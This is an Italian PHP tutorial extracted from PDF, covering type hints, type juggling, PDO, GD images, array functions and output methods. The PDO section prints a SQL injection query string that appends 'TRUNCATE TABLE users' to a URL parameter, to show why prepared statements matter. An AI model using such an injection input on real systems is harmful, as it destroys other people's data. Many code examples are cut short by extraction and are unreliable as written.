https://riptutorial.com/it/home 139
Capitolo 30: Digita suggerimento
Sintassi
• funzione f (ClassName $ param) {}
• funzione f (bool $ param) {}
• funzione f (int $ param) {}
• funzione f (float $ param) {}
• funzione f (stringa $ param) {}
• funzione f (self $ param) {}
• funzione f (callable $ param) {}
• funzione f (array $ param) {}
• funzione f (? type_name $ param) {}
• function f (): type_name {}
• function f (): void {}
• funzione f ():? type_name {}
Osservazioni
Le dichiarazioni di tipo hinting o type sono una pratica di programmazione difensiva che
garantisce che i parametri di una funzione siano di un tipo specificato. Ciò è particolarmente utile
quando si digita il suggerimento per un'interfaccia perché consente alla funzione di garantire che
un parametro fornito abbia gli stessi metodi richiesti nell'interfaccia.
Il passaggio del tipo errato a una funzione di tipo suggerito causerà un errore irreversibile:
Examples
Digitare suggerimenti su tipi scalari, array e callables
Il supporto per i parametri del tipo hinting array (e valori restituiti dopo PHP 7.1) è stato aggiunto in
PHP 5.1 con la array parole chiave. Qualsiasi array di qualsiasi dimensione e tipo, così come
array vuoti, sono valori validi.
Il supporto per hinting callables è stato aggiunto in PHP 5.4. Qualsiasi valore is_callable() è
valida per i parametri ei valori restituiti accennato callable , cioè Closure oggetti, stringhe di nome
e funzione array(class_name|object, method_name) .
Se si verifica un errore di battitura nel nome della funzione tale da non essere is_callable() , verrà
visualizzato un messaggio di errore meno ovvio:
https://riptutorial.com/it/home 140
del tipo callable, stringa / matrice dati
I metodi non statici possono anche essere passati come callebles in formato statico, con
conseguente avviso di deprecazione e errore E_STRICT di livello in PHP 7 e 5 rispettivamente.
La visibilità del metodo viene presa in considerazione. Se il contesto del metodo con il parametro
callable non ha accesso al callable fornito, finirà come se il metodo non esistesse.
class Foo{
private static function f(){
echo "Good" . PHP_EOL;
}
Foo::r(["Foo", "f"]);
r(["Foo", "f"]);
Produzione:
Il supporto per tipi scalari di tipo hint è stato aggiunto in PHP 7. Ciò significa che otteniamo il
supporto del tipo hinting per i integer boolean , integer , float e string s.
<?php
Per impostazione predefinita, PHP tenterà di eseguire il cast di qualsiasi argomento fornito in
modo che corrisponda al suo suggerimento tipo. Cambiare la chiamata da add(1.5, 2) dà
esattamente lo stesso risultato, dal momento che il float 1.5 stato lanciato su int da PHP.
https://riptutorial.com/it/home 141
<?php
declare(strict_types=1);
var_dump(add(1.5, 2));
Ad esempio, curl_init() restituirà una resource , come pure fopen() . Naturalmente, queste due
risorse non sono compatibili l'una con l'altra. Per questo motivo, PHP 7 invierà sempre il seguente
TypeError quando si digita esplicitamente la resource hint:
Poiché gli oggetti PHP non ereditano da alcuna classe base (incluso stdClass ), non esiste alcun
supporto per il tipo che suggerisce un tipo di oggetto generico.
<?php
class ClassOne {}
class ClassTwo {}
doSomething($classOne);
doSomething($classTwo);
https://riptutorial.com/it/home 142
essere un'istanza di oggetto, istanza di OperationOne fornita
Una soluzione alternativa consiste nel dichiarare un'interfaccia degenerata che non definisce
metodi e che tutti gli oggetti implementano questa interfaccia.
<?php
interface Object {}
doSomething($classOne);
doSomething($classTwo);
Suggerimento di classe
<?php
class Student
{
public $name = 'Chris';
}
class School
{
public $name = 'University of Edinburgh';
}
enroll($student, $school);
https://riptutorial.com/it/home 143
Tipo di interfaccia suggerimento
<?php
enroll($chris, $edinburgh);
In PHP 7.1, è stato aggiunto il tipo di reso void . Mentre PHP non ha un valore reale void , è
generalmente inteso tra i linguaggi di programmazione che una funzione che restituisce nulla
restituisce void . Questo non dovrebbe essere confuso con la restituzione di null , poiché null è
un valore che può essere restituito.
Tieni presente che se dichiari un void , non puoi restituire alcun valore o otterrai un errore fatale:
https://riptutorial.com/it/home 144
return null; // Fatal error: A void function must not return a value
}
parametri
Il suggerimento di tipo Nullable è stato aggiunto in PHP 7.1 usando il ? operatore prima del
suggerimento sul tipo.
f(null); // valid
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given
Prima di PHP 7.1, se un parametro ha un suggerimento tipo, deve dichiarare un valore predefinito
null per accettare valori nulli.
f(null); // valid
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given
Valori di ritorno
In PHP 7.0, le funzioni con un tipo restituito non devono restituire null.
In PHP 7.1, le funzioni possono dichiarare un suggerimento di tipo nullable return. Tuttavia, la
funzione deve ancora restituire null, non void (no / empty return statements).
f(); // OK
g(); // TypeError: Return value of g() must be of the type string or null, none returned
h(); // TypeError: Return value of h() must be of the type string or null, none returned
https://riptutorial.com/it/home 145
Leggi Digita suggerimento online: https://riptutorial.com/it/php/topic/1430/digita-suggerimento
https://riptutorial.com/it/home 146
Capitolo 31: Digitare giocoleria e problemi di
confronto non rigoroso
Examples
Che cos'è la giocoleria di tipo?
PHP è un linguaggio vagamente dattiloscritto. Ciò significa che, per impostazione predefinita, non
richiede che gli operandi di un'espressione siano dello stesso tipo (o compatibili). Ad esempio,
puoi aggiungere un numero a una stringa e aspettarti che funzioni.
L'output sarà:
PHP realizza ciò automaticamente rilasciando tipi di variabili incompatibili in tipi che consentono
l'esecuzione dell'operazione richiesta. Nel caso precedente, eseguirà il cast del letterale 1 intero in
una stringa, il che significa che può essere concatenato alla stringa precedente. Questo è indicato
come tipo giocoleria. Questa è una funzionalità molto potente di PHP, ma è anche una funzione
che può portare a un sacco di strappi se non ne sei consapevole e può anche portare a problemi
di sicurezza.
if (1 == $variable) {
// do something
}
L'intento sembra essere che il programmatore stia controllando che una variabile abbia un valore
di 1. Ma cosa succede se la variabile $ ha invece un valore di "1 e mezzo"? La risposta potrebbe
sorprenderti.
Il risultato è:
bool (true)
Perché è successo? È perché PHP si è reso conto che la stringa "1 e mezzo" non è un numero
intero, ma deve essere per confrontarla con l'intero 1. Invece di fallire, PHP avvia la giocoleria e
tenta di convertire la variabile in un numero intero. Lo fa prendendo tutti i caratteri all'inizio della
stringa che possono essere convertiti in numeri interi e nel cast. Si ferma non appena incontra un
https://riptutorial.com/it/home 147
personaggio che non può essere trattato come un numero. Quindi "1 e mezzo" viene lanciato su
intero 1.
Certo, questo è un esempio molto elaborato, ma serve a dimostrare il problema. I prossimi esempi
riguarderanno alcuni casi in cui mi sono imbattuto in errori causati dalla giocoleria di tipo avvenuta
nel software reale.
Lettura da un file
Durante la lettura da un file, vogliamo essere in grado di sapere quando abbiamo raggiunto la fine
di quel file. Sapendo che fgets() restituisce false alla fine del file, potremmo usarlo come
condizione per un ciclo. Tuttavia, se i dati restituiti dall'ultima lettura risultano essere qualcosa che
viene valutato come booleano false , è possibile che il nostro ciclo di lettura file si interrompa
prematuramente.
fclose ($handle);
Se il file da leggere contiene una riga vuota, il ciclo while verrà terminato in quel punto, poiché la
stringa vuota viene valutata come booleana false .
Nota questo è un esempio forzato; nella vita reale useremmo il seguente ciclo:
while (!feof($handle)) {
$data = fgets($handle);
echo ("Current file line is $data\n");
}
$filedata = file("/path/to/my/file");
foreach ($filedata as $data) {
echo ("Current file line is $data\n");
}
https://riptutorial.com/it/home 148
Passa sorprese
switch ($name) {
case 'input 1':
$mode = 'output_1';
break;
case 'input 2':
$mode = 'output_2';
break;
default:
$mode = 'unknown';
break;
}
Questa è un'istruzione molto semplice e funziona come previsto quando $name è una stringa, ma
può causare problemi in altro modo. Ad esempio, se $name è intero 0 , allora il tipo-juggling avverrà
durante il confronto. Tuttavia, è il valore letterale nella dichiarazione del caso a destreggiarsi, non
la condizione nell'istruzione switch. La stringa "input 1" viene convertita in numero intero 0 che
corrisponde al valore di input del numero intero 0 . Il risultato è se fornisci un valore di intero 0 , il
primo caso viene sempre eseguito.
Casting esplicito
Il valore può essere tipizzato in una stringa prima del confronto:
switch ((string)$name) {
...
}
Oppure è possibile utilizzare anche una funzione nota per la restituzione di una stringa:
switch (strval($name)) {
...
}
Entrambi questi metodi assicurano che il valore sia dello stesso tipo del valore nelle istruzioni case
.
https://riptutorial.com/it/home 149
if ($name === "input 1") {
$mode = "output_1";
} elseif ($name === "input 2") {
$mode = "output_2";
} else {
$mode = "unknown";
}
Tipizzazione rigorosa
Dal PHP 7.0, alcuni degli effetti dannosi della giocoleria di tipo possono essere mitigati con una
tipizzazione rigorosa . Includendo questa declare dichiarativa come prima riga del file, PHP
imporrà le dichiarazioni del tipo di parametro e restituirà dichiarazioni di tipo lanciando
un'eccezione TypeError .
declare(strict_types=1);
Ad esempio, questo codice, utilizzando le definizioni del tipo di parametro, genererà un'eccezione
Catchable di tipo TypeError durante l'esecuzione:
<?php
declare(strict_types=1);
Allo stesso modo, questo codice utilizza una dichiarazione di tipo restituito; genererà inoltre
un'eccezione se tenta di restituire qualcosa di diverso da un numero intero:
<?php
declare(strict_types=1);
returner("this is a string");
https://riptutorial.com/it/home 150
Capitolo 32: DOP
introduzione
L'estensione PDO (PHP Data Objects) consente agli sviluppatori di connettersi a numerosi diversi
tipi di database ed eseguire query su di essi in modo uniforme e orientato agli oggetti.
Sintassi
• PDO::LastInsertId()
• PDO::LastInsertId($columnName) // alcuni driver necessitano del nome della colonna
Osservazioni
Avviso Da non perdere per verificare le eccezioni durante l'utilizzo di lastInsertId() . Può
generare il seguente errore:
try {
$id = $pdo->lastInsertId(); // return value is an integer
}
catch( PDOException $e ) {
echo $e->getMessage();
}
Examples
Connessione e recupero base PDO
Dal momento che PHP 5.0, PDO è stato disponibile come livello di accesso al database. È
indipendente dal database, quindi il seguente codice di esempio di connessione dovrebbe
funzionare per qualsiasi dei suoi database supportati semplicemente modificando il DSN.
//Using MySQL (connection via network, optionally you can specify the port too):
//$dsn = "mysql:host=127.0.0.1;port=3306;dbname=testdb;charset=utf8";
//Or Postgres
https://riptutorial.com/it/home 151
//$dsn = "pgsql:host=localhost;port=5432;dbname=testdb;";
$username = "user";
$password = "pass";
$db = new PDO($dsn, $username, $password);
// Create some parameters to fill the placeholders, and execute the statement
$parameters = [ "221B" ];
$statement->execute($parameters);
La funzione di prepare crea un oggetto PDOStatement dalla stringa di query. L'esecuzione della
query e il recupero dei risultati vengono eseguiti su questo oggetto restituito. In caso di errore, la
funzione restituisce false o genera exception (a seconda di come è stata configurata la
connessione PDO).
Ciò consente a qualsiasi utente di questo script di modificare il nostro database fondamentalmente
a proprio piacimento. Ad esempio, considera la seguente stringa di query:
page.php?user=0;%20TRUNCATE%20TABLE%20users;
SELECT name, email, user_level FROM users WHERE userID = 0; TRUNCATE TABLE users;
Anche se questo è un esempio estremo (la maggior parte degli attacchi SQL injection non mira a
cancellare i dati, né la maggior parte delle funzioni di esecuzione di query PHP supporta multi-
query), questo è un esempio di come un attacco di SQL injection può essere reso possibile
dall'assenza di la query. Sfortunatamente, attacchi come questo sono molto comuni e sono molto
https://riptutorial.com/it/home 152
efficaci a causa dei programmatori che non adottano le dovute precauzioni per proteggere i loro
dati.
Per evitare che si verifichi l'iniezione SQL, le istruzioni preparate sono la soluzione consigliata.
Invece di concatenare i dati utente direttamente alla query, viene utilizzato un segnaposto . I dati
vengono quindi inviati separatamente, il che significa che non vi è alcuna possibilità che il motore
SQL possa confondere i dati dell'utente per una serie di istruzioni.
Mentre l'argomento qui è PDO, si noti che l'estensione PHP MySQLi supporta anche
istruzioni preparate
PDO supporta due tipi di segnaposto (i segnaposti non possono essere utilizzati per nomi di
colonne o tabelle, solo valori):
1. Segnaposto nominati. I due punti ( : ), seguito da un nome diverso (ad es. :user )
Se mai hai bisogno di cambiare dinamicamente i nomi di tabelle o colonne, sappi che questo è a
rischio di sicurezza personale e cattiva pratica. Tuttavia, può essere fatto tramite concatenazione
di stringhe. Un modo per migliorare la sicurezza di tali query è impostare una tabella di valori
consentiti e confrontare il valore che si desidera concatenare a questa tabella.
Tieni presente che è importante impostare il set di caratteri della connessione solo tramite DSN,
altrimenti l'applicazione potrebbe essere soggetta a una vulnerabilità oscura se viene utilizzata
una codifica dispari. Per le versioni PDO precedenti alla 5.3.6 l'impostazione di charset tramite
DSN non è disponibile e quindi l'unica opzione è impostare l'attributo PDO::ATTR_EMULATE_PREPARES
su false sulla connessione subito dopo la sua creazione.
$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
Ciò fa in modo che PDO utilizzi le istruzioni preparate native del DBMS sottostante invece di
emularlo.
Tuttavia, si tenga presente che PDO eseguirà silenziosamente il backup delle istruzioni di
emulazione che MySQL non è in grado di preparare in modo nativo: quelle che possono essere
elencate nel manuale ( fonte ).
https://riptutorial.com/it/home 153
PDO: connessione al server MySQL / MariaDB
Esistono due modi per connettersi a un server MySQL / MariaDB, a seconda dell'infrastruttura.
Dal momento che PDO è stato progettato per essere compatibile con versioni di server MySQL
precedenti (che non supportano le istruzioni preparate), è necessario disabilitare esplicitamente
l'emulazione. In caso contrario, si perderanno i benefici di prevenzione dell'iniezione aggiunti,
che di solito vengono concessi utilizzando dichiarazioni preparate.
Connessione socket
$dsn = 'mysql:unix_socket=/tmp/mysql.sock;dbname=demo;charset=utf8';
$connection = new \PDO($dsn, $username, $password);
Sui sistemi unix-like, se il nome host è 'localhost' , la connessione al server avviene tramite un
socket di dominio.
Le transazioni di database assicurano che un set di modifiche dei dati sarà reso permanente solo
se ogni affermazione ha esito positivo. Qualsiasi query o errore di codice durante una transazione
può essere intercettato e quindi hai la possibilità di ripristinare le modifiche tentate.
PDO fornisce metodi semplici per l'inizio, l'impegno e il rollback delle transazioni.
https://riptutorial.com/it/home 154
$pdo = new PDO(
$dsn,
$username,
$password,
array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)
);
try {
$statement = $pdo->prepare("UPDATE user SET name = :name");
$pdo->beginTransaction();
$statement->execute(["name"=>'Bob']);
$statement->execute(["name"=>'Joe']);
$pdo->commit();
}
catch (\Exception $e) {
if ($pdo->inTransaction()) {
$pdo->rollback();
// If we got here our two data updates are not in the database
}
throw $e;
}
Durante una transazione, tutte le modifiche apportate ai dati sono visibili solo alla connessione
attiva. SELECT istruzioni SELECT restituiranno le modifiche alterate anche se non sono ancora state
commesse nel database.
Nota : consultare la documentazione del fornitore del database per i dettagli sul supporto delle
transazioni. Alcuni sistemi non supportano affatto le transazioni. Alcune supportano le transazioni
nidificate mentre altre no.
Nella sezione seguente è illustrato un esempio pratico reale nel mondo in cui l'uso delle
transazioni garantisce la coerenza del database.
Immagina il seguente scenario, diciamo che stai costruendo un carrello per un sito di e-commerce
e hai deciso di mantenere gli ordini in due tabelle di database. Uno ha nominato orders con i
campi order_id , name , address , telephone e created_at . E un secondo denominato orders_products
con i campi order_id , product_id e quantity . La prima tabella contiene i metadati dell'ordine
mentre la seconda contiene i prodotti effettivi ordinati.
Per inserire un nuovo ordine nel database devi fare due cose. Per prima cosa è necessario INSERT
un nuovo record all'interno della tabella degli orders che conterrà i metadati dell'ordine ( name ,
address , ecc.). E poi devi INSERT un record nella tabella orders_products , per ognuno dei prodotti
inclusi nell'ordine.
https://riptutorial.com/it/home 155
$preparedStatement = $db->prepare(
'INSERT INTO `orders` (`name`, `address`, `telephone`, `created_at`)
VALUES (:name, :address, :telephone, :created_at)'
);
$preparedStatement->execute([
'name' => $name,
'address' => $address,
'telephone' => $telephone,
'created_at' => time(),
]);
$count = 0;
foreach ( $products as $productId => $quantity ) {
$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity'
. $count . ')';
++$count;
}
Questo funzionerà perfettamente per l'inserimento di un nuovo ordine nel database, fino a quando
non accade qualcosa di inatteso e per qualche motivo la seconda query INSERT fallisce. Se ciò
accade, ti ritroverai con un nuovo ordine all'interno della tabella degli orders , a cui non saranno
associati prodotti. Fortunatamente, la correzione è molto semplice, tutto ciò che devi fare è fare le
query sotto forma di una singola transazione di database.
Per avviare una transazione utilizzando PDO tutto ciò che devi fare è chiamare il metodo
beginTransaction prima di eseguire qualsiasi query nel tuo database. Quindi apporti le modifiche
che desideri ai tuoi dati eseguendo le query INSERT e / o UPDATE . E infine si chiama il metodo di
commit dell'oggetto PDO per rendere permanenti le modifiche. Finché non si chiama il metodo di
commit , tutte le modifiche apportate ai dati fino a questo momento non sono ancora permanenti e
possono essere facilmente ripristinate semplicemente chiamando il metodo di rollback
dell'oggetto PDO .
https://riptutorial.com/it/home 156
// In this example we are using MySQL but this applies to any database that has support for
transactions
$db = new PDO('mysql:host=' . $host . ';dbname=' . $dbname . ';charset=utf8', $username,
$password);
// Make sure that PDO will throw an exception in case of error to make error handling easier
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
// From this point and until the transaction is being committed every change to the
database can be reverted
$db->beginTransaction();
$preparedStatement->execute([
'name' => $name,
'address' => $address,
'telephone' => $telephone,
'created_at' => time(),
]);
$count = 0;
foreach ( $products as $productId => $quantity ) {
$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ',
:quantity' . $count . ')';
++$count;
}
https://riptutorial.com/it/home 157
Iniziamo con $db , un'istanza della classe DOP. Dopo aver eseguito una query, spesso vogliamo
determinare il numero di righe che ne sono state influenzate. Il metodo rowCount() del PDOStatement
funzionerà bene:
NOTA: questo metodo deve essere utilizzato solo per determinare il numero di righe interessate
dalle istruzioni INSERT, DELETE e UPDATE. Sebbene questo metodo possa funzionare anche
per le istruzioni SELECT, non è coerente su tutti i database.
PDO :: lastInsertId ()
Spesso è possibile trovare la necessità di ottenere il valore ID auto incrementato per una riga
appena inserita nella tabella del database. È possibile ottenere ciò con il metodo lastInsertId ().
In postgresql e oracle, c'è la parola chiave RETURNING, che restituisce le colonne specificate
delle righe attualmente inserite / modificate. Qui esempio per inserire una voce:
https://riptutorial.com/it/home 158
Capitolo 33: Elaborazione di immagini con
GD
Osservazioni
Quando si utilizza l' header("Content-Type: $mimeType"); e image____ per generare solo un'immagine
nell'output, assicurati di non emettere nient'altro, nota anche una riga vuota dopo ?> . (Questo può
essere un "bug" difficile da rintracciare - non si ottiene alcuna immagine e nessun indizio sul
perché.) Il consiglio generale è di non includere?> Affatto qui.
Examples
Creare un'immagine
$img ora è una variabile di risorsa per una risorsa immagine con $width x $height pixel. Notare che
la larghezza conta da sinistra a destra e l'altezza conta dall'alto verso il basso.
Le risorse di immagine possono anche essere create dalle funzioni di creazione dell'immagine ,
come ad esempio:
• imagecreatefrompng
• imagecreatefromjpeg
• altre imagecreatefrom* funzioni imagecreatefrom* .
Le risorse di immagine possono essere liberate in seguito quando non ci sono più riferimenti a
loro. Tuttavia, per liberare immediatamente la memoria (questo può essere importante se si
elaborano molte immagini di grandi dimensioni), l'uso di imagedestroy() su un'immagine quando
non è più utilizzato potrebbe essere una buona pratica.
imagedestroy($image);
Convertire un'immagine
Le immagini create dalla conversione dell'immagine non modificano l'immagine finché non la si
stampa. Pertanto, un convertitore di immagini può essere semplice come tre linee di codice:
https://riptutorial.com/it/home 159
imagedestroy($im);
}
Uscita dell'immagine
Un'immagine può essere creata usando le funzioni image* , dove * è il formato del file.
Salvataggio in un file
Se si desidera salvare l'immagine in un file, è possibile passare il nome file o un flusso di file
aperto, come $to . Se passi uno stream, non è necessario chiuderlo perché GD lo chiuderà
automaticamente.
imagepng($image, "/path/to/target/file.png");
Quando usi fopen , assicurati di usare il flag b invece del flag t , perché il file è un output binario.
header("Content-Type: $mimeType");
$mimeType è il tipo MIME del formato che si sta restituendo. Gli esempi includono image/png ,
image/gif e image/jpeg .
https://riptutorial.com/it/home 160
Ci sono due modi per scrivere in una variabile.
ob_start();
imagepng($image, null, $quality); // pass null to supposedly write to stdout
$binary = ob_get_clean();
<?php
class GlobalStream{
private $var;
stream_wrapper_register("global", GlobalStream::class);
In questo esempio, la classe GlobalStream scrive qualsiasi input nella variabile di riferimento (cioè
indirettamente scrive nella variabile globale del nome specificato). La variabile globale può essere
successivamente recuperata direttamente.
• Una classe di wrapper stream implementata dovrebbe essere simile a questa , ma in base ai
test con il metodo magic __call , solo stream_open , stream_write e stream_close vengono
richiamati dalle funzioni interne.
• Non sono richiesti contrassegni nella chiamata fopen , ma è necessario almeno passare una
https://riptutorial.com/it/home 161
stringa vuota. Questo perché la funzione fopen aspetta tale parametro e, anche se non lo si
utilizza nell'implementazione stream_open , è ancora necessario un dummy.
• Secondo i test, stream_write è chiamato più volte. Ricorda di usare .= (Assegnazione
concatenazione), non = (assegnazione diretta delle variabili).
Esempio di utilizzo
Nel tag HTML <img> , è possibile fornire direttamente un'immagine anziché utilizzare un
collegamento esterno:
Se hai un'immagine e desideri creare una nuova immagine, con nuove dimensioni, puoi utilizzare
la funzione imagecopyresampled :
per prima cosa crea una nuova image con le dimensioni desiderate:
// new image
$dst_img = imagecreatetruecolor($width, $height);
e memorizzare l'immagine originale in una variabile. Per fare ciò, è possibile utilizzare una delle
funzioni createimagefrom* dove * sta per:
• jpeg
• gif
• png
• stringa
Per esempio:
//original image
$src_img=imagecreatefromstring(file_get_contents($original_image_path));
Adesso copia tutta (o parte) dell'immagine originale (src_img) nella nuova immagine (dst_img) di
imagecopyresampled :
imagecopyresampled($dst_img, $src_img,
$dst_x ,$dst_y, $src_x, $src_y,
$dst_width, $dst_height, $src_width, $src_height);
https://riptutorial.com/it/home 162
https://riptutorial.com/it/home 163
https://riptutorial.com/it/php/topic/5195/elaborazione-di-immagini-con-gd
https://riptutorial.com/it/home 164
Capitolo 34: Elaborazione di più array
insieme
Examples
Unisci o concatena gli array
Si noti che array_merge cambierà indici numerici, ma sovrascriverà gli indici stringa
array_merge sovrascrive i valori del primo array con i valori del secondo array, se non può
rinumerare l'indice.
È possibile utilizzare l'operatore + per unire due array in modo che i valori del primo array non
vengano mai sovrascritti, ma non rinumerano gli indici numerici, quindi si perdono i valori degli
array che hanno un indice utilizzato anche nel primo array .
Intersezione di serie
La funzione array_intersect restituirà una matrice di valori che esiste in tutti gli array passati a
questa funzione.
https://riptutorial.com/it/home 165
$array_three = ['two', 'three'];
Le chiavi della matrice vengono mantenute. Gli indici dagli array originali non lo sono.
L'esempio seguente mostra come unire due array in un array associativo, dove i valori chiave
saranno gli elementi del primo array, ei valori saranno dal secondo:
/*
array (
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3',
)
*/
[
['foo', 'bar'],
['fizz', 'buzz'],
https://riptutorial.com/it/home 166
]
[
'foo' => 'bar',
'fizz' => 'buzz',
]
$multidimensionalArray = [
['foo', 'bar'],
['fizz', 'buzz'],
];
$associativeArrayKeys = array_column($multidimensionalArray, 0);
$associativeArrayValues = array_column($multidimensionalArray, 1);
$associativeArray = array_combine($associativeArrayKeys, $associativeArrayValues);
https://riptutorial.com/it/home 167
Capitolo 35: Emissione del valore di una
variabile
introduzione
Per costruire un programma PHP dinamico e interattivo, è utile generare le variabili e i loro valori.
Il linguaggio PHP consente più metodi di output del valore. Questo argomento tratta i metodi
standard di stampa di un valore in PHP e dove questi metodi possono essere utilizzati.
Osservazioni
Le variabili in PHP sono disponibili in una varietà di tipi. A seconda del caso d'uso, potresti volerli
esportare nel browser come render HTML, inviarli per il debug o inviarli al terminale (se stai
eseguendo un'applicazione tramite la riga di comando).
Di seguito sono riportati alcuni dei metodi e dei costrutti del linguaggio più comunemente utilizzati
per generare le variabili:
Nota: quando si tenta di generare un oggetto come stringa, PHP proverà a convertirlo
in una stringa (chiamando __toString() - se l'oggetto ha un tale metodo). Se non
disponibile, verrà mostrato un errore simile a Object of class [CLASS] could not be
converted to string . In questo caso, dovrai ispezionare ulteriormente l'oggetto, vedi:
outputting-a-structured-view-of-array-and-objects .
Examples
eco e stampa
echo e print sono costrutti linguistici, non funzioni. Ciò significa che non richiedono parentesi
attorno all'argomento come fa una funzione (anche se è sempre possibile aggiungere parentesi
attorno a quasi tutte le espressioni PHP e quindi echo("test") non farà alcun danno). Eseguono la
rappresentazione della stringa di una variabile, di una costante o di un'espressione. Non possono
https://riptutorial.com/it/home 168
essere utilizzati per stampare matrici o oggetti.
$name = "Joel";
print ("hey" && (print (" " && print "you"))); #> you11
Al di fuori dei tag PHP , una notazione abbreviata per echo è disponibile per impostazione
predefinita, utilizzando <?= Per iniziare l'output e ?> Per terminarlo. Per esempio:
<p><?=$variable?></p>
<p><?= "This is also PHP" ?></p>
Si noti che non c'è terminazione ; . Questo funziona perché il tag PHP di chiusura funge da
terminatore per la singola istruzione. Quindi, è normale omettere il punto e virgola in questa
notazione abbreviata.
Sebbene la print sia una costruzione linguistica, ha priorità come operatore. Mette tra = += -= *=
https://riptutorial.com/it/home 169
**= /= .= %= &= and operatori e ha lasciato l'associazione. Esempio:
• print richiede solo un parametro, mentre l' echo può avere più parametri.
• print restituisce un valore, quindi può essere usato come espressione.
Potresti avere una variabile che è una matrice o un oggetto. Cercando di emetterlo con un echo
verrà generato l'errore:
Notice: Array to string conversion . Puoi invece usare la funzione print_r per scaricare un
formato leggibile da umani di questa variabile.
È possibile passare true come secondo parametro per restituire il contenuto come
stringa.
stdClass Object
(
[myvalue] => Hello World
)
Array
(
https://riptutorial.com/it/home 170
[0] => Hello
[1] => World
)
Hello World
42
Inoltre, l'output di print_r può essere catturato come una stringa, piuttosto che semplicemente
echeggiato. Ad esempio, il seguente codice eseguirà il dump della versione formattata di $myarray
in una nuova variabile:
Nota che se stai visualizzando l'output di PHP in un browser, ed è interpretato come HTML, le
interruzioni di riga non verranno mostrate e l'output sarà molto meno leggibile a meno che tu non
faccia qualcosa di simile
L'apertura del codice sorgente di una pagina formatterà anche la tua variabile allo
stesso modo senza l'uso del tag <pre> .
In alternativa puoi dire al browser che ciò che stai trasmettendo è testo normale e non HTML:
È possibile utilizzare var_dump per generare una versione più dettagliata per il debug.
object(stdClass)#12 (1) {
["myvalue"]=>
string(11) "Hello World"
}
array(2) {
[0]=>
string(5) "Hello"
[1]=>
string(5) "World"
https://riptutorial.com/it/home 171
}
string(11) "Hello World"
int(42)
Nota : se si utilizza xDebug nell'ambiente di sviluppo, l'output di var_dump è limitato / troncato per
impostazione predefinita. Vedi la documentazione ufficiale per maggiori informazioni sulle opzioni
per cambiarlo.
È possibile passare true come secondo parametro per restituire il contenuto in una
variabile.
var_export($myarray);
var_export($mystring);
var_export($myint);
array (
0 => 'Hello',
1 => 'World',
)
'Hello World'
42
$myarray = array (
0 => 'Hello',
1 => 'World',
);
$mystring = 'Hello World';
$myint = 42;
https://riptutorial.com/it/home 172
printf vs sprintf
$name = 'Jeff';
È anche possibile formattare un numero con queste 2 funzioni. Questo può essere usato per
formattare un valore decimale usato per rappresentare il denaro in modo che abbia sempre 2 cifre
decimali.
$money = 25.2;
printf('%01.2f', $money);
#> 25.20
Le due funzioni vprintf e vsprintf funzionano come printf e sprintf , ma accettano una stringa di
formato e una matrice di valori, anziché singole variabili.
È possibile utilizzare la concatenazione per unire le stringhe "end to end" durante l'output (con
echo o print ad esempio).
// String variable
$name = 'Joel';
// Concatenate multiple strings (3 in this example) into one and echo it once done.
// 1. ↓ 2. ↓ 3. ↓ - Three Individual string items
echo '<p>Hello ' . $name . ', Nice to see you.</p>';
// ↑ ↑ - Concatenation Operators
Simile alla concatenazione, echo (se usato senza parentesi) può essere usato per combinare
stringhe e variabili insieme (insieme ad altre espressioni arbitrarie) usando una virgola (,).
$itemCount = 1;
echo 'You have ordered ', $itemCount, ' item', $itemCount === 1 ? '' : 's';
https://riptutorial.com/it/home 173
// ↑ ↑ ↑ - Note the commas
Sui sistemi a 32 bit, gli interi maggiori di PHP_INT_MAX vengono automaticamente convertiti in float.
L'output di questi come valori interi (cioè notazione non scientifica) può essere fatto con printf ,
usando la rappresentazione float , come illustrato di seguito:
Nota: fai attenzione alla precisione del galleggiante, che non è infinita!
Mentre questo sembra bello, in questo esempio forzato i numeri possono essere tutti rappresentati
come un numero binario dal momento che sono tutti i poteri di 1024 (e quindi 2). Vedi ad esempio:
https://riptutorial.com/it/home 174
$n = pow(10, 27);
printf("%s %.0F\n", $n, $n);
// 1.0E+27 1000000000000000013287555072
Array
(
[0] => Array
(
[id] => 13
[category_id] => 7
[name] => Leaving Of Liverpool
[description] => Leaving Of Liverpool
[price] => 1.00
[virtual] => 1
[active] => 1
[sort_order] => 13
[created] => 2007-06-24 14:08:03
[modified] => 2007-06-24 14:08:03
[image] => NONE
)
<table>
<?php
foreach ($products as $key => $value) {
foreach ($value as $k => $v) {
echo "<tr>";
echo "<td>$k</td>"; // Get index.
echo "<td>$v</td>"; // Get value.
echo "</tr>";
}
}
?>
</table>
https://riptutorial.com/it/home 175
https://riptutorial.com/it/php/topic/6695/emissione-del-valore-di-una-variabile
https://riptutorial.com/it/home 176
Capitolo 36: Errori comuni
Examples
Fine $ inattesa
Se si verifica un errore come questo (oa volte una unexpected $end , a seconda della versione di
PHP), è necessario assicurarsi di aver abbinato tutte le virgolette, tutte le parentesi, tutte le
parentesi graffe, tutte le parentesi, ecc.
<?php
if (true) {
echo "asdf";
?>
Notare la parentesi graffa mancante. Inoltre, tieni presente che il numero di riga visualizzato per
questo errore è irrilevante: mostra sempre l'ultima riga del documento.
